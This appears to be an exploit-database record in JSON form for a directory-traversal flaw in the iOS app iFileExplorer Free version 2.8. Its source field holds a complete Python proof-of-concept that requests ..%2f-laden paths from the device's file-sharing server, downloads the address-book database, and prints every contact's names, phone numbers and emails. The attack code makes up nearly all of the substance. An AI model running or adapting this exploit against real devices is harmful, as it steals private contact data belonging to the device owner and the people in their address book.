Description
No description provided by source.
{"lastseen": "2017-11-19T15:44:07", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "poc", "enchantments": {"score": {"value": -0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.2}, "href": "https://www.seebug.org/vuldb/ssvid-70800", "references": [], "enchantments_done": [], "id": "SSV:70800", "title": "iOS iFileExplorer Free - Directory Traversal", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 4, "sourceData": "\n # Exploit Title: iPod Touch/iPhone iFileExplorer Free Directory Traversal\r\n# Date: 04/03/2011 #UK date format\r\n# Author: theSmallNothing\r\n# Software Link: http://itunes.apple.com/gb/app/ifileexplorer-protect-multi/id355253462?mt=8\r\n# Version: 2.8\r\n# Tested on: iPod Touch 2G (4.1)\r\n\r\nimport urllib, sqlite3\r\n\r\nbase = "http://192.168.0.3/" #Change to iDevice ip\r\nurl = base + "..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/mobile/Library/AddressBook/AddressBook.sqlitedb" #Jailbroken Address\r\n\r\ntry:\r\n urllib.urlretrieve(url,"addressbook.sqlite")\r\n print "Grabbed Address Book\\n"\r\nexcept:\r\n print "Could not grab address book..."\r\n\r\nconn = sqlite3.connect("addressbook.sqlite")\r\ncursor = conn.cursor()\r\ncmd = "SELECT * FROM ABPerson"\r\ncursor.execute(cmd)\r\nresults = cursor.fetchall()\r\nfor person in results:\r\n if person[1] == None:\r\n continue\r\n print person[1], person[2]\r\n \r\n cmd = "SELECT * FROM ABMultiValue WHERE record_id="+str(person[0])\r\n cursor.execute(cmd)\r\n vunDataArr = cursor.fetchall()\r\n for vunData in vunDataArr:\r\n if vunData[5] != None:\r\n print "\\t"+vunData[5]\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-70800", "type": "seebug", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645536235, "score": 1659785532}}
{}